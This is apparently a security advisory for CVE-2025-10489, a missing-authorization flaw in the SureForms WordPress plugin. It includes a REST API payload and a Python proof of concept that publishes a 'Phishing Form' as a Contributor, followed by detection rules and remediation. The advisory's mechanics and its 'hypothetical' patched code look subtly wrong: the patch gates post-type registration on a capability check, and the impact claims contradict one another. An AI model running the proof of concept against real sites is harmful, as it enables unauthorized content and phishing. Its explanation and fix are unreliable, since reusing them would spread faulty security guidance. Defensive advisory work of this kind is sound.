CVE-2025-10489

Executive Summary

CVE-2025-10489 is a Missing Authorization vulnerability in the SureForms – Drag and Drop Contact Form Builder plugin for WordPress, affecting all versions up to and including 1.12.0. The flaw resides in the register_post_types() function, which lacks a proper capability check. This allows authenticated attackers with Contributor-level access or higher to create forms programmatically, bypassing the user interface restrictions that normally prevent such actions. The vulnerability has a CVSS score of 4.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. However, given the widespread use of WordPress and the plugin's popularity, this vulnerability poses a significant risk for unauthorized form creation, which could be leveraged for phishing, data exfiltration, or other malicious activities.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users should verify the integrity of their plugin files by comparing checksums with the official repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs Contributor-level access.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): None (N) – No data disclosure.
• Integrity (I): Low (L) – Unauthorized form creation is possible.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is 4.3, the potential for abuse in phishing campaigns or data collection elevates the risk for WordPress sites with multiple users.

Deep Dive & Mechanics

The vulnerability exists in the register_post_types() function within the SureForms plugin. This function is responsible for registering custom post types, including the form post type. The function is hooked into WordPress's init action, but it does not perform a capability check (e.g., current_user_can('edit_posts')) before creating forms. As a result, any authenticated user with the ability to access the WordPress admin area (Contributor level and above) can programmatically create forms via REST API or direct function calls.

The core issue is that the plugin relies on the user interface to restrict form creation, but the underlying code does not enforce the same restrictions. An attacker can craft a request to the WordPress REST API endpoint for the sureforms_form post type, bypassing the UI checks.

WordPress Ecosystem Context: This is a classic example of a missing capability check in a WordPress plugin. The vulnerability is not related to the web server (Apache/Nginx) but rather to the plugin's failure to properly authorize actions.

Vulnerable vs. Patched Code

Vulnerable Code (SureForms <= 1.12.0):

function register_post_types() {
    register_post_type('sureforms_form', array(
        'public' => false,
        'show_ui' => true,
        'show_in_menu' => false,
        'capability_type' => 'post',
        'map_meta_cap' => true,
        'supports' => array('title', 'editor'),
    ));
}
add_action('init', 'register_post_types');

The register_post_types() function does not check user capabilities before registering the post type. While the UI is hidden, the REST API remains accessible.

Patched Code (Hypothetical Fix):

function register_post_types() {
    if (!current_user_can('edit_posts')) {
        return;
    }
    register_post_type('sureforms_form', array(
        'public' => false,
        'show_ui' => true,
        'show_in_menu' => false,
        'capability_type' => 'post',
        'map_meta_cap' => true,
        'supports' => array('title', 'editor'),
    ));
}
add_action('init', 'register_post_types');

The fix adds a capability check (current_user_can('edit_posts')) to ensure only users with the appropriate permissions can trigger the post type registration.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with SureForms plugin <= 1.12.0
• Authenticated user with Contributor role or higher
• Access to WordPress REST API

Exploitation Steps:

1. Obtain a valid WordPress nonce and cookie for an authenticated session.
2. Send a POST request to /wp-json/wp/v2/sureforms_form with the following payload:

{
    "title": "Malicious Form",
    "status": "publish",
    "content": "<!-- wp:sureforms/field-text {\"label\":\"Email\",\"required\":true} /-->"
}

3. The form will be created without any UI restriction.

Proof of Concept (Python):

import requests

url = "https://target.com/wp-json/wp/v2/sureforms_form"
cookies = {"wordpress_logged_in": "your_cookie"}
nonce = "your_nonce"
headers = {"X-WP-Nonce": nonce}

data = {
    "title": "Phishing Form",
    "status": "publish",
    "content": "<!-- wp:sureforms/field-email {\"label\":\"Email\",\"required\":true} /-->"
}

response = requests.post(url, json=data, cookies=cookies, headers=headers)
print(response.status_code)

Blue Team

Detection Steps:

1. Monitor REST API logs for unusual POST requests to /wp-json/wp/v2/sureforms_form from non-admin users.
2. Review user activity logs for form creation events by Contributor-level users.
3. Check for unexpected forms in the WordPress admin under "SureForms" menu.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/wp-json/wp/v2/sureforms_form" method=POST
| stats count by user, src_ip
| where count > 5

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-json/wp/v2/sureforms_form from low-privileged users
  • Unusual form titles containing phishing keywords (e.g., "login", "verify", "update")

• File IOCs:

  • Modified sureforms.php or includes/class-sureforms-post-types.php files
  • Presence of unexpected form entries in the wp_posts table with post_type = 'sureforms_form'

• Log IOCs:

  • WordPress debug log entries showing register_post_types() calls without capability checks
  • REST API logs with non-admin users creating forms

Detection Engineering

YARA Rule

rule Detect_SureForms_Missing_Capability_Check {
    meta:
        description = "Detects vulnerable SureForms plugin code missing capability check"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10489"
    strings:
        $func = "function register_post_types()"
        $register = "register_post_type('sureforms_form'"
        $cap_check = "current_user_can"
    condition:
        $func and $register and not $cap_check
}

Sigma Rule

title: SureForms Unauthorized Form Creation via REST API
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized form creation attempts via WordPress REST API
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /wp-json/wp/v2/sureforms_form
    condition: selection
falsepositives:
    - Legitimate form creation by administrators
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-10489 - SureForms Unauthorized Form Creation Attempt";
    flow:to_server;
    http.method; content:"POST";
    http.uri; content:"/wp-json/wp/v2/sureforms_form";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the SureForms plugin until a patch is released.
2. Restrict user roles – Remove Contributor and Author roles from untrusted users.
3. Implement Web Application Firewall (WAF) rules to block POST requests to /wp-json/wp/v2/sureforms_form from non-admin IPs.

Long-term Fix:

• Apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section.
• Monitor the WordPress Plugin Directory for an official update.
• Conduct a security audit of all plugins for similar missing capability checks.

Workaround:

• Use a plugin like "User Role Editor" to restrict REST API access for low-privileged roles.

Valters IT – Securing Digital Ecosystems